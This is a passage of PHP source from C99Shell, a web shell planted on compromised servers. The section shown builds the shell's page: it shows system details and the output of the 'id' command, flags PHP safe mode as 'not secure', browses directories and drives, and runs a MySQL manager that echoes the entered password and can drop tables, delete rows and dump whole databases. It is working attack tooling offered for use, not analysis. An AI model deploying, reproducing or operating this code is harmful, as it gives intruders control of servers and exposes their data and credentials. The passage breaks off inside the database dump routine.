  700.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  701.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  702.  if ((!$submit) or ($sql_act))
  703.  {
  704.   echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=\"sql_act\" value=\"query\"><input type=hidden name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  705.   if ($tbl_struct)
  706.   {
  707.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  708.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  709.    echo "</td></tr></table>";
  710.   }
  711.  }
  712.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  713. }
  714. }
  715. if (!function_exists("mysql_create_db"))
  716. {
  717. function mysql_create_db($db,$sock="")
  718. {
  719.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  720.  if ($sock) {return mysql_query($sql,$sock);}
  721.  else {return mysql_query($sql);}
  722. }
  723. }
  724. if (!function_exists("mysql_query_parse"))
  725. {
  726. function mysql_query_parse($query)
  727. {
  728.  $query = trim($query);
  729.  $arr = explode (" ",$query);
  730.  /*array array()
  731.  {
  732.   "METHOD"=>array(output_type),
  733.   "METHOD1"...
  734.   ...
  735.  }
  736.  if output_type == 0, no output,
  737.  if output_type == 1, no output if no error
  738.  if output_type == 2, output without control-buttons
  739.  if output_type == 3, output with control-buttons
  740.  */
  741.  $types = array(
  742.   "SELECT"=>array(3,1),
  743.   "SHOW"=>array(2,1),
  744.   "DELETE"=>array(1),
  745.   "DROP"=>array(1)
  746.  );
  747.  $result = array();
  748.  $op = strtoupper($arr[0]);
  749.  if (is_array($types[$op]))
  750.  {
  751.   $result["propertions"] = $types[$op];
  752.   $result["query"]  = $query;
  753.   if ($types[$op] == 2)
  754.   {
  755.    foreach($arr as $k=>$v)
  756.    {
  757.     if (strtoupper($v) == "LIMIT")
  758.     {
  759.      $result["limit"] = $arr[$k+1];
  760.      $result["limit"] = explode(",",$result["limit"]);
  761.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  762.      unset($arr[$k],$arr[$k+1]);
  763.     }
  764.    }
  765.   }
  766.  }
  767.  else {return false;}
  768. }
  769. }
  770. if (!function_exists("c99fsearch"))
  771. {
  772. function c99fsearch($d)
  773. {
  774.  global $found;
  775.  global $found_d;
  776.  global $found_f;
  777.  global $search_i_f;
  778.  global $search_i_d;
  779.  global $a;
  780.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  781.  $h = opendir($d);
  782.  while (($f = readdir($h)) !== false)
  783.  {
  784.   if($f != "." && $f != "..")
  785.   {
  786.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
  787.    if (is_dir($d.$f))
  788.    {
  789.     $search_i_d++;
  790.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  791.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  792.    }
  793.    else
  794.    {
  795.     $search_i_f++;
  796.     if ($bool)
  797.     {
  798.      if (!empty($a["text"]))
  799.      {
  800.       $r = @file_get_contents($d.$f);
  801.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  802.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  803.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  804.       else {$bool = strpos(" ".$r,$a["text"],1);}
  805.       if ($a["text_not"]) {$bool = !$bool;}
  806.       if ($bool) {$found[] = $d.$f; $found_f++;}
  807.      }
  808.      else {$found[] = $d.$f; $found_f++;}
  809.     }
  810.    }
  811.   }
  812.  }
  813.  closedir($h);
  814. }
  815. }
  816. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  817. //Sending headers
  818. @ob_start();
  819. @ob_implicit_flush(0);
  820. function onphpshutdown()
  821. {
  822.  global $gzipencode,$ft;
  823.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  824.  {
  825.   $v = @ob_get_contents();
  826.   @ob_end_clean();
  827.   @ob_start("ob_gzHandler");
  828.   echo $v;
  829.   @ob_end_flush();
  830.  }
  831. }
  832. function c99shexit()
  833. {
  834.  onphpshutdown();
  835.  exit;
  836. }
  837. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  838. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  839. header("Cache-Control: no-store, no-cache, must-revalidate");
  840. header("Cache-Control: post-check=0, pre-check=0", false);
  841. header("Pragma: no-cache");
  842. if (empty($tmpdir))
  843. {
  844.  $tmpdir = ini_get("upload_tmp_dir");
  845.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  846. }
  847. $tmpdir = realpath($tmpdir);
  848. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  849. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  850. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  851. else {$tmpdir_logs = realpath($tmpdir_logs);}
  852. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  853. {
  854.  $safemode = true;
  855.  $hsafemode = "<font color=red>ON (secure)</font>";
  856. }
  857. else {$safemode = false; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  858. $v = @ini_get("open_basedir");
  859. if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";}
  860. else {$openbasedir = false; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  861. $sort = htmlspecialchars($sort);
  862. if (empty($sort)) {$sort = $sort_default;}
  863. $sort[1] = strtolower($sort[1]);
  864. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  865. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  866. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  867. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  868. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  869. @ini_set("highlight.default",$highlight_default); //#0000BB
  870. @ini_set("highlight.html",$highlight_html); //#000000
  871. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  872. @ini_set("highlight.string",$highlight_string); //#DD0000
  873. if (!is_array($actbox)) {$actbox = array();}
  874. $dspact = $act = htmlspecialchars($act);
  875. $disp_fullpath = $ls_arr = $notls = null;
  876. $ud = urlencode($d);
  877. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  878. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  879. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  880. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  881. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  882. $d = str_replace("\\\\","\\",$d);
  883. $dispd = htmlspecialchars($d);
  884. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  885. $i = 0;
  886. foreach($pd as $b)
  887. {
  888.  $t = "";
  889.  $j = 0;
  890.  foreach ($e as $r)
  891.  {
  892.   $t.= $r.DIRECTORY_SEPARATOR;
  893.   if ($j == $i) {break;}
  894.   $j++;
  895.  }
  896.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  897.  $i++;
  898. }
  899. echo "&nbsp;&nbsp;&nbsp;";
  900. if (is_writable($d))
  901. {
  902.  $wd = true;
  903.  $wdt = "<font color=green>[ ok ]</font>";
  904.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  905. }
  906. else
  907. {
  908.  $wd = false;
  909.  $wdt = "<font color=red>[ Read-Only ]</font>";
  910.  echo "<b>".view_perms_color($d)."</b>";
  911. }
  912. if (is_callable("disk_free_space"))
  913. {
  914.  $free = disk_free_space($d);
  915.  $total = disk_total_space($d);
  916.  if ($free === false) {$free = 0;}
  917.  if ($total === false) {$total = 0;}
  918.  if ($free < 0) {$free = 0;}
  919.  if ($total < 0) {$total = 0;}
  920.  $used = $total-$free;
  921.  $free_percent = round(100/($total/$free),2);
  922.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  923. }
  924. echo "<br>";
  925. $letters = "";
  926. if ($win)
  927. {
  928.  $v = explode("\\",$d);
  929.  $v = $v[0];
  930.  foreach (range("a","z") as $letter)
  931.  {
  932.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  933.   if (!$bool) {$bool = is_dir($letter.":\\");}
  934.   if ($bool)
  935.   {
  936.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  937.    if ($letter.":" != $v) {$letters .= $letter;}
  938.    else {$letters .= "<font color=green>".$letter."</font>";}
  939.    $letters .= " ]</a> ";
  940.   }
  941.  }
  942.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  943. }
  944. if (count($quicklaunch) > 0)
  945. {
  946.  foreach($quicklaunch as $item)
  947.  {
  948.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  949.   $item[1] = str_replace("%sort",$sort,$item[1]);
  950.   $v = realpath($d."..");
  951.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  952.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  953.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  954.  }
  955. }
  956. echo "</p></td></tr></table><br>";
  957. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  958. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  959. if ($act == "") {$act = $dspact = "ls";}
  960. if ($act == "sql")
  961. {
  962.  $sql_surl = $surl."act=sql";
  963.  if ($sql_login) {$sql_surl .= "&sql_login=".urlencode($sql_login);}
  964.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".urlencode($sql_passwd);}
  965.  if ($sql_server) {$sql_surl .= "&sql_server=".urlencode($sql_server);}
  966.  if ($sql_port) {$sql_surl .= "&sql_port=".urlencode($sql_port);}
  967.  if ($sql_db) {$sql_surl .= "&sql_db=".urlencode($sql_db);}
  968.  $sql_surl .= "&";
  969.  //echo "<h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3>";
  970.  echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\"><tr><td width=\"100%\" height=1 colspan=2 valign=top><center>";
  971.  if ($sql_server)
  972.  {
  973.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  974.   $err = mysql_smarterror();
  975.   @mysql_select_db($sql_db,$sql_sock);
  976.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  977.  }
  978.  else {$sql_sock = false;}
  979.  echo "<b>SQL Manager:</b><br>";
  980.  if (!$sql_sock)
  981.  {
  982.   if (!$sql_server) {echo "NO CONNECTION";}
  983.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  984.  }
  985.  else
  986.  {
  987.   $sqlquicklaunch = array();
  988.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  989.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  990.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  991.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  992.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  993.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  994.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  995.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  996.   echo "</center>";
  997.  }
  998.  echo "</td></tr><tr>";
  999.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type=hidden name=act value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type=submit value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  1000.  else
  1001.  {
  1002.   //Start left panel
  1003.   if (!empty($sql_db))
  1004.   {
  1005.    echo "<td width=\"25%\" height=\"100%\" valign=\"top\"><a href=\"".$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&\"><b>Home</b></a><hr size=\"1\" noshade>";
  1006.    $result = mysql_list_tables($sql_db);
  1007.    if (!$result) {echo mysql_smarterror();}
  1008.    else
  1009.    {
  1010.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1011.     $c = 0;
  1012.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1013.     if (!$c) {echo "No tables found in database.";}
  1014.    }
  1015.   }
  1016.   else
  1017.   {
  1018.    echo "<td width=1 height=100 valign=top><a href=\"".$sql_surl."\"><b>Home</b></a><hr size=1 noshade>";
  1019.    $result = mysql_list_dbs($sql_sock);
  1020.    if (!$result) {echo mysql_smarterror();}
  1021.    else
  1022.    {
  1023.     echo "<form action=\"".$surl."\"><input type=hidden name=act value=sql><input type=hidden name=sql_login value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=sql_passwd value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=sql_server value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=sql_port value=\"".htmlspecialchars($sql_port)."\"><select name=sql_db>";
  1024.     $c = 0;
  1025.     $dbs = "";
  1026.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1027.     echo "<option value=\"\">Databases (".$c.")</option>";
  1028.     echo $dbs;
  1029.    }
  1030.    ?></select><hr size=1 noshade>Please, select database<hr size=1 noshade><input type=submit value="Go"></form><?php
  1031.   }
  1032.   //End left panel
  1033.   echo "</td><td width=\"100%\" height=1 valign=top>";
  1034.   //Start center panel
  1035.   $diplay = true;
  1036.   if ($sql_db)
  1037.   {
  1038.    if (!is_numeric($c)) {$c = 0;}
  1039.    if ($c == 0) {$c = "no";}
  1040.    echo "<hr size=1 noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1041.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1042.    echo "</b></center>";
  1043.    $acts = array("","dump");
  1044.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1045.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1046.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1047.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1048.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1049.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1050.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1051.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1052.    elseif ($sql_tbl_act == "insert")
  1053.    {
  1054.     if ($sql_tbl_insert_radio == 1)
  1055.     {
  1056.      $keys = "";
  1057.      $akeys = array_keys($sql_tbl_insert);
  1058.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1059.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1060.      $values = "";
  1061.      $i = 0;
  1062.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1063.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1064.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1065.      $sql_act = "query";
  1066.      $sql_tbl_act = "browse";
  1067.     }
  1068.     elseif ($sql_tbl_insert_radio == 2)
  1069.     {
  1070.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1071.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1072.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  1073.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1074.      $sql_act = "query";
  1075.      $sql_tbl_act = "browse";
  1076.     }
  1077.    }
  1078.    if ($sql_act == "query")
  1079.    {
  1080.     echo "<hr size=\"1\" noshade>";
  1081.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1082.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1083.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=\"sql_act\" value=\"query\"><input type=hidden name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td></tr></table>";}
  1084.    }
  1085.    if (in_array($sql_act,$acts))
  1086.    {
  1087.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="sql"><input type=hidden name="sql_act" value="newtbl"><input type=hidden name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type=hidden name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type=hidden name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type=hidden name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type=hidden name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type=submit value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="sql"><input type=hidden name="sql_act" value="dump"><input type=hidden name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type=hidden name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type=hidden name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type=hidden name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type=hidden name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type=submit name=submit value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1088.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1089.     if ($sql_act == "newtbl")
  1090.     {
  1091.      echo "<b>";
  1092.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1093.     }
  1094.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1095.    }
  1096.    elseif ($sql_act == "dump")
  1097.    {
  1098.     if (empty($submit))
  1099.     {
  1100.      $diplay = false;
  1101.      echo "<form method=\"GET\"><input type=hidden name=act value=\"sql\"><input type=hidden name=\"sql_act\" value=\"dump\"><input type=hidden name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=hidden name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=hidden name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1102.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1103.      $v = join (";",$dmptbls);
